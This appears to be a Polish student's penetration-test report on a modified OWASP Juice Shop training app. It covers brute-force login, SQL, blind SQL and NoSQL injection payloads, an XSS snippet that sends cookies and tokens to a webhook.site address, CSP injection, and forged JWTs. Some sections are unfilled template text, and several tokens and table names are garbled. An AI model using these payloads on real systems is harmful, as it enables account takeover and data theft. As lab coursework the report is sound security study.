

Raport bezpieczeństwa dostarczonej wersji aplikacji Juice Shop

Filip Horst 311257

I. WSTĘP

I wish you the best of success.

A. Wprowadzenie

Co badane

B. Struktura raportu

Jak przedstawiane

C. Metoda badania

Jak badane

D. Narzędzia

Czym badane

II. ATAK BRUTEFORCE

Atak odbył się przy pomocy prostego skryptu sprawdzającego, czy kolejne hasła z listy 1050 popularnych dają dostęp do wybranego konta.

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
GET	/rest/user/login	-	-	{'email':admin@juice-sh.op, 'password':admin123}	w tym przykładzie kod 200, bo hasło poprawne w pozostałych kod 401 z błędem

Łamanie hasła tą metodą w wybranym uruchomieniu zajęło 116 prób w 9.05 s, co daje 0.078s na próbę - znacznie szybciej niż mógłby to wykonać człowiek, czyli aplikacja jest podatna na bruteforce.

APLIKACJA PODATNA NA BRUTEFORCE LOGIN

III. ATAKI SQL INJECTION

A. Wydobycie haseł użytkowników (Podstawowe SQL Injection)

Atak miał na celu wykorzystanie SQL Injection do wydobycia haseł użytkowników z bazy danych sklepu.

Schemat ogólny ataku:

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
GET	/rest/products/?q=apple')) union select 1,2,3,4,5,6,7,8,group_concat(tbl_name) from sqlite_master where type='table' and tbl_name not like 'sqlite_%'--	-	-	-	200 { "status": "success", "data": [{ "id": 1, "name": 2, "description": 3, "price": 4, "deluxePrice": 5, "image": 6, "createdAt": 7, "updatedAt": 8, "deletedAt": "Users, Addresses..."

Główną zmienną jest tutaj parametr Query String o nazwie q, który dla tej końcówki pozwala na dostęp do bazy danych.

Atak został podzielony na trzy etapy:

- Zdobycie informacji o bazie
 - Parametr/zapytanie

```
?q=apple')) union select 1,2,3,4,5,6,7,8,group_concat(tbl_name) from sqlite_master where  
type='table' and tbl_name not like 'sqlite_%'--
```

– Odpowiedź serwera

```
[ 'Users', 'Addresses', 'Baskets', 'Products', 'BasketItems', 'Captchas', 'Cardsedbacks',
  'ImageCaptchas', 'Memories', 'PrivacyRequests', 'Quantities', 'Recyclllets' ]
```

Odpowiedź zawiera listę tabel niesystemowych, dzięki czemu wiadomo jak nazywa się tabela zawierająca potencjalnie wartościowe dane. Ten atak wykorzystuje już wcześniej znaną informację o wersji bazy aplikacji. Bez takiej wiedzy należało by to zbadać stosując np. charakterystyczne funkcje różnych implementacji baz danych

• Zdobycie informacji o tabeli

– Parametr/zapytanie

```
?q=apple')) union select 1,2,3,4,5,6,7,8,group_concat(sql) from sqlite_master where type
='table' and tbl_name like 'Users% '--
```

– Odpowiedź serwera

```
CREATE TABLE `Users` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `username` VARCHAR `
password` VARCHAR(255), `role` VARCHAR(255) DEFAULT 'customer', `deluxeToken` 55)
DEFAULT '0.0.0.0', `profileImage` VARCHAR(255) DEFAULT '/assets/public/imag5)
DEFAULT '', `isActive` TINYINT(1) DEFAULT 1, `createdAt` DATETIME NOT NULL, IME)
```

Odpowiedź zwraca kod SQL tworzący tabelę, z którego łatwo wywnioskować jakie kolumny zawiera

• Pobranie danych użytkowników

– Parametr/zapytanie

```
?q=apple')) union select 1,2,3,4,5,6,group_concat(username),group_concat(email),
group_concat(password) from users;--
```

– Odpowiedź serwera

```
[ ('', 'admin@juice-sh.op',
'240be518fabd2724ddb6f04eeb1da5967448d7e831c08c8fa822809f74c720a9'),
('', 'jim@juice-sh.op',
'c534541702f7e186e3520e8e929c1b9c19b3afc7be14adc5491a64a7563e963c'), ...
```

Proste wykonanie ataku z wykorzystaniem wydobytej wcześniej wiedzy pozwala na pobranie hashy haseł użytkowników w celu wykonania szybszych, ukrytych ataków lokalnych

APLIKACJA PODATNA NA SQL INJECTION

B. Wydobycie hasha znanego użytkownika (Blind SQL Injection)

Celem ataku był endpoint służący do logowania. Wykorzystywanym bitem informacji było zalogowanie, bądź jego brak w zależności od dodatkowego warunku wstawionego w pole email. Warunek ten sprawdzał, czy znak na danej pozycji hashu hasła jest równy np. "2". Jeśli to była prawda dochodziło do zalogowania, natomiast w przeciwnym wypadku zwracany był błąd 401 Invalid email or password. Ten atak wykorzystuje inną podatność jaką jest brak zabezpieczeń przed SQL Injection na tym endpointzie.

Atak został przeprowadzony z użyciem prostego skryptu, który iteracyjnie sprawdzał kolejne znaki na kolejnych pozycjach, aż do uzyskania pełnego hashu.

W tabeli zawarty został przykład sprawdzający, czy pierwszy znak (odpowiada za to drugi argument funkcji substr) hashu jest równy "2".

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
POST	/rest/user/login	-	-	{ "email": "admin@juice-sh.op" and substr(password,1,1)='2' - ", "password": "" }	200 + TOKEN

Przykład zakończył się logowaniem, czyli skrypt zapisywał znak "2" jako poprawny i przechodził do kolejnej pozycji, aż do napotkania pozycji dla której żaden znak z listy nie był właściwy (czyli hash się skończył). Wykonanie skryptu pozwoliło na pobranie wartości hashu hasła administratora:

```
240be518fabd2724ddb6f04eeb1da5967448d7e831c08c8fa822809f74c720a9
```

APLIKACJA PODATNA NA BLIND SQL INJECTION

C. Masowa modyfikacja opinii (NoSQL Injection)

Atak polegał na modyfikacji wszystkich opinii zawartych w bazie danych sklepu jednym zapytaniem. W tym celu wykorzystany został endpoint `/rest/products/reviews`, który współpracuje z bazą NoSQL (jest to wcześniej posiadana wiedza - bez niej należało by testować endpointy charakterystycznymi funkcjami nosql (np. \$eq, \$neq) w danych lub zdobyć tę wiedzę w inny sposób). Z powodu braku zabezpieczeń pole `id` mogło zostać zamienione na wyszukanie wszystkich opinii, których `id` nie jest równe pustemu ciągowi znaków (czyli wszystkich). W przeciwieństwie do funkcji polubienia, aktualizacja działa na wiele dokumentów jednocześnie, co ułatwia atak.

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
PATCH	/rest/products/reviews	Authentication: Bearer TOKEN	token: TOKEN	{ "id":{"\$ne":"" }, "message":"I am silly" }	{ "modified":30,"original": [{"message":"I am silly2", "author": "mc.safesearch@juice-sh.op", "product":36, 200 "likesCount":8, "likedBy":["filip@mail.com"], "_id":"2owc86xGahDSdmfvJ"}, {"message":"I am silly2", "author":"bjoern@owasp.org", "product":44... }

Wynik dowodzi, że zmodyfikowana została duża liczba opinii ("modified": 30). Skutkiem zapytania jest więc stosunkowo poważne zniszczenie bazy danych opinii.

APLIKACJA PODATNA NA NO SQL INJECTION

IV. ATAKI XSS

A. Kradzież ciasteczek przez reflected XSS

W tabeli została zawarta ścieżka prezentująca atak typu reflected XSS.

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
GET	/#/search?q= apple"	-	-	-	Zwykły dokument HTML

Mimo ostrzeżeń i blokad związanych z Cross-Origin Resource Sharing zapytanie GET wychodzące z kodu JS zostało wysyłane, a co za tym idzie na stronie webhook dostępna była pełna treść ciasteczka użytkownika, czyli również jego token (jeśli był zalogowany).

Alternatywna metoda wykonania ataku, która nie sprawia problemów z CORS jest zainspirowana przez jeden z wpisów w poście

<https://stackoverflow.com/questions/247483/http-get-request-in-javascript>. Polega ona na utworzeniu nowego elementu typu `image` i ustawieniu odpowiedniego źródła. Kod zawarty w XSS wygląda w niej następująco:

```
var i = document.createElement('img');
i.src = 'https://webhook.site/3f406f22-779e-44a3-a7ce-05e9146aa009?cookie=' + document.cookie;
```

Na stronie webhook wykradzione dane (w tym token) są dostępne w formie URL zapytania:

```
https://webhook.site/3f406f22-779e-44a3-a7ce-05e9146aa009?cookie=language=en;%20
welcomebanner_status=dismiss;%20cookieconsent_status=dismiss;%20continueCode=
zj8exOlDwJKkP5gRLapr74mAYof8tgLuKJH84G2vEWqnB6yVobZ9zMYlNX3Q;%20token=eyJ0eXAiOiJKV1QiLCJ
...
```

APLIKACJA PODATNA NA REFLECTED XSS

B. Atak stored XSS oraz modyfikacja CSP

1) *Modyfikacja CSP*: Modyfikacja CSP odbyła się poprzez odpowiednią preparację linku do awatara użytkownika.

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
POST	/profile/image/url	Authentication: Bearer TOKEN	token: TOKEN	{ "imageUrl":"f"http://assets/public/images/uploads/1.jpg; script-src 'unsafe-inline'" }	302 /profile

Po wykonaniu powyższego zapytania nagłówki CSP zwracany przez sklep na profilu użytkownika wyglądał następująco:

```
img-src 'self' http://assets/public/images/uploads/1.jpg; script-src 'unsafe-inline'; script-  
src 'self' 'unsafe-eval' https://code.getmdl.io http://ajax.googleapis.com
```

co wskazuje na to, że skrypty o niezwyfikowanym źródle zostały aktywowane (co potwierdza obecność `'unsafe-inline'` na liście `script-src`) na stronie profilu. Nie udało się znaleźć innych endpointów, gdzie prezentowane były awatary użytkownika, dlatego atak ten jest bardzo ograniczony. Ponadto, jest to tylko atak pomocniczy do Stored XSS.

2) *StoredXSS*: W badanej implementacji sanityzacja została poprawiona, dlatego nie udało się wykonać XSS na pseudonimie użytkownika. Sprawdzone zostało wiele kombinacji, jednak ze względu na brak powodzenia można uznać, że użyta biblioteka jest na tyle dobra, że walka z nią nie ma większego sensu i lepiej spróbować podejść do problemu w innym miejscu, bądź inną niebezpośrednią metodą

W tabeli zawarty został schemat prostego ataku XSS z przykładowymi danymi. Badane były również takie wartości pola username jak np. "<script>script>alert('Modified CSP')</script>", które działało w podstawowej implementacji JuiceShop, jednak tutaj zostało poprawnie zsanityzowane.

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
POST	/profile	Authentication Bearer TOKEN	token: TOKEN	{'username': "</p<img <a href=javascript:javascript:alert('ModifiedCSP')'	302 /profile

Poszukiwania podatności na Stored XSS objęły również inne endpointy. Na każdym z nich testowane były różne kombinacje znaków (w szczególności /,<,>,"'), tagów script/img i innych losowych ciągów z jednoczesną obserwacją, czy wstawiane do bazy elementy wykazują potencjał na skuteczny XSS.

- Modyfikacja pola email przy rejestracji (POST /api/Users/:
"email": "x<script>alert()</script>de@mail.com")
- Dodawanie i modyfikacja pól message oraz author recenzji (PUT /rest/products/1/reviews:
"message": "<script><<script>alert()</script>",
"author": "<<script><<script>alert()</script>")
- Dodawanie opinii customer feedback z atakiem w polu comment
- Prosty mutation XSS na username (POST /profile:
username=script<style = width:0px><<) - wydaje się częściowo skuteczne, ale znak < był zawsze usuwany, więc ostatecznie nic nie udało się osiągnąć

Po tych próbach uznano, że atak XSS jest zbyt trudny w realizacji ze względu na poprawioną sanityzację. Jako formę jej ominięcia podjęto próbę modyfikacji zawartości bazy danych, aby uzyskać możliwość wstawienia ataku XSS bezpośrednio do niej (poprzez użycie `SELECT CHAR(60)` itp.).

- Wstrzyknięcie znaku bezpośrednio do bazy przez SQL Injection (to co opisany wcześniej SQL injection GET /rest/products/search: "?q=apple'))); update users set username="xs" where id=23; --"). W trakcie prób do tego punktu udało się ustalić, że sanityzacja XSS dla pseudonimu odbywa się przed wstawieniem do bazy (nie wiadomo jednak czy tylko przed, czy zarówno przed jak i po)
- SQL Injection na zapytania aktualizujące i wstawiające opinie, pseudonimy (PUT /rest/products/1/reviews, POST /profile). Badania oparte o wstawianie znaków ', ;, czy – w celu uzyskania komunikatu o błędzie SQL

Podobnie jak w przypadku bezpośredniego XSS próby okazały się nieskuteczne. W większości przypadków nic nie wykazywało podatności typu SQL Injection, natomiast w przypadku endpointów opisanych w raporcie, które taką podatność wykazywały nie udało się wykonać modyfikacji danych (tylko ich odczyt).

Podsumowując zmiany w sanityzacji wewnątrz aplikacji sprawiły, że nie udało się wykonać skutecznego ataku XSS. Trzeba jednak zaznaczyć, że istnieją przesłanki że polityka CSP wciąż jest możliwa do zmiany, co nie jest dobre nawet jeśli nie da się tego wykorzystać.

V. ATAKI NA JWT

A. Brak podpisu

Atak polegał na pobraniu poprawnego tokena, zamianie zawartego w nim id użytkownika na inny (przykładowo 1 dla konta admina), a następnie wysłaniu go do chatbota, który w podstawowej aplikacji odsyła odświeżone tokeny.

Przykładowy FAKE_TOKEN był równy:

eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJub25lIn0.
eyJzdGF0dXMiOiAic3VjY2VzcyIsICJkYXRhIjogeyJpZCI6IDEsICJlc2VybmFtZSI6ICJDYXJsIiwgImVtYWlsIjogeImZpbGlwQG1haWwvY29tIiwgInBhc3N3b3JkIjogeImJhNmNkYWElM2RlZDQ0MjglOTYzMDE0YzgZGZNjYWNmZTllMDZlOWI0Mzg3NjNiYzRiYTlhMjM4MzNlZGQ0NzcilCAicm9sZSI6ICJjdXN0b211ciIsICJkZXxleGVud2t1biI6ICIiLCAibGFzdExvZ2luSXAIoiAiMTAUndIUmtIUmtAU0IiwgInByb2ZpbgVjbWFfnZSI6ICJodHRvOi8vYXNzZXRxL3B1YmxpYy9pbWFnZXZXMvdXBsb2Fkcys8LmpwZzsqc2NyaX

B0LXNyYyAndW5zYWZlLWlubGluZSciLCAidG90cFNlY3JldCI6ICIiLCAiaXNBY3RpdmUiOiB0cnVl
LCAiY3JlYXRlZEF0IjogIjIwMjUtMDU0MTI0MDk6MDQ6NTIuMTU0ICswMDowMCIscjJlcGRhdGvkQX
QiOiAiMjAyNS0wNS0xMiAxNT0lMT0wMi45MTYgKzAwOjAwIiwgImRlbGV0ZWRBdCI6IG51bGx9LCAi
aWF0IjogMTc0NzA2NTYxNH0.

co można rozszyfrować do danych (część nieistotnych pól została pominięta):

```
{
  "typ": "JWT",
  "alg": "none"
}

{
  "status": "success",
  "data": {
    "id": 1,
    "username": "Carl",
    "email": "filip@mail.com",
    "password": "ba6cdaa53ded44285963014c83dccacfe9e06e9b438763bc4bala23833edd477",
    "role": "customer",
    [...]
  },
  [...]
}
```

oraz brak trzeciej części, czyli podpisu (co potwierdza samotna kropka w tokenie).

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
POST	/rest/chatbot/respond	Authentication: Bearer FAKE TOKEN	token: FAKE TOKEN	{"action": "setname", "query": "Carl" }	401 Unauthenticated user

Jak widać po odpowiedzi endpoint został zabezpieczony, ponieważ automatycznie odrzuca niepodpisany token jako Unauthenticated. Dla porównania wysłanie poprawnego tokena zwróciło odpowiedź:

```
200 {"action":"response","body":"Nice to meet you Carl, I'm Juicy"}
```

Warto jednak zaznaczyć, że nawet dla poprawnego tokena endpoint nie zwraca już odświeżonego tokena, co jest dodatkową poprawką w stosunku do podstawowej wersji aplikacji.

Dodatkowo, wysłanie niepodpisanego tokena metodą GET /rest/user/whoami z nagłówkiem i ciasteczkami nie zwraca danych użytkownika, więc w tym miejscu aplikacja również została poprawiona.

B. Zmiana rodzaju podpisu

Atak polegał na zaszyfrowaniu tokena z użyciem klucza publicznego sklepu, ale algorytmem symetrycznym HS256.

Przykładowy FAKE TOKEN był równy:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdGF0dXMiOiJzdWNjZXNzIiwiaWF0eSI6eyJpZCI6MjIsInVzZXJuYWllIjoie3t2YXIgYS9ICdh
YmNkZWZnaCc7dmFYIGFPSA XMjM7IGERyNoiLCJlbWFPbC6ImZpbGlwQG1haWwuY29tIiwicGFzc3dv
cmQiOiJiTjZjZGFhNTNkZWQ0NDI4NTkzMzAxNGM4M2RjY2FjZmU5ZTA2ZTliNDM4NzYzYmM0YmExYTIZ
ODMzZW RkNDc3Iiwicm9sZSI6ImNlc3RvbWVyIiwiaWF0eSI6eyJpZCI6MjIsInVzZXJuYWllIjoie3t2YXIgYS9ICdh
IjEwLjQyLjEyLjEwNCIsInByb2ZpbGVJbWFnZSI6Imh0dHA6Ly9hc3NldHMvchVibGljL2ltYWdlcy9l
cGxvYWRzLzIyLmpwZz9hPWI7IH NjcmlwdClzcmMqJ3Vuc2FmZS1pbmxpbmUnIiwidG90cFNlY2J3LdC6I
IdAIisImzlQWN0aXZlIjp0cnVlLCJjcmVhdGVkVXQ0IiwiaWF0eSI6eyJpZCI6MjIsInVzZXJuYWllIjoie3t2YXIgYS9ICdh
MDAiLCJleHRhZGRvdGVkQXQ0IiwiaWF0eSI6eyJpZCI6MjIsInVzZXJuYWllIjoie3t2YXIgYS9ICdh
Om5lbGx9LCJpYXQ0IiwiaWF0eSI6eyJpZCI6MjIsInVzZXJuYWllIjoie3t2YXIgYS9ICdh

co można rozszyfrować do danych (część nieistotnych pól została pominięta):

```
{
  "typ": "JWT",
  "alg": "HS256"
}

{
  "status": "success",
  "data": {
    "id": 22,
    "username": "Carl",
    "email": "filip@mail.com",
  }
}
```

```

    "password": "ba6cdaa53ded44285963014c83dccacfe9e06e9b438763bc4ba1a23833edd477",
    "role": "customer",
    [...]
  },
  [...]
}

```

Podpis stanowiący trzecią część tokena został dodatkowo zweryfikowany z użyciem serwisu jwt.io poprzez wklejenie sekretu aplikacji (/encryptionkeys/jwt.pub).

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
GET	/rest/user/whoami	Authentication: Bearer FAKE_TOKEN	token: FAKE_TOKEN	-	200 {"user":{}}

Mimo pozytywnego kodu aplikacja nie zwraca żadnych informacji o użytkowniku, co oznacza że token nie jest akceptowany. Jak się jednak okazało endpoint whoami zwracał pustą odpowiedź również dla poprawnego tokena, dlatego w celu sprawdzenia zabezpieczeń podjęta została próba zmiany pseudonimu z użyciem sztucznego JWT:

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
GET	/rest/user/whoami	Authentication: Bearer FAKE_TOKEN	-	{"username":"abc"}	500 Error: Blocked illegal activity by ::...

Jak widać próba wykonania tego ataku zakończyła się blokadą ze strony serwera (podobnie było przy teście tego endpointu z JWT bez podpisu). Dla porównania dla poprawnego JWT zapytanie kończyło się zmianą pseudonimu i przekierowaniem 302 na /profile.

Podsumowując bezpieczeństwo żetonów JWT zostało poprawione w tej wersji aplikacji.

VI. WZÓR

A. ABC DEF

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
POST	/rest/chatbot/respond	Authentication: Bearer TOKEN	token: TOKEN	{ "action":"setname", "query":"Carl" }	401 {"error":"Unauthenticated user"}

VII. PODSUMOWANIE I WNIOSKI

The conclusion goes here.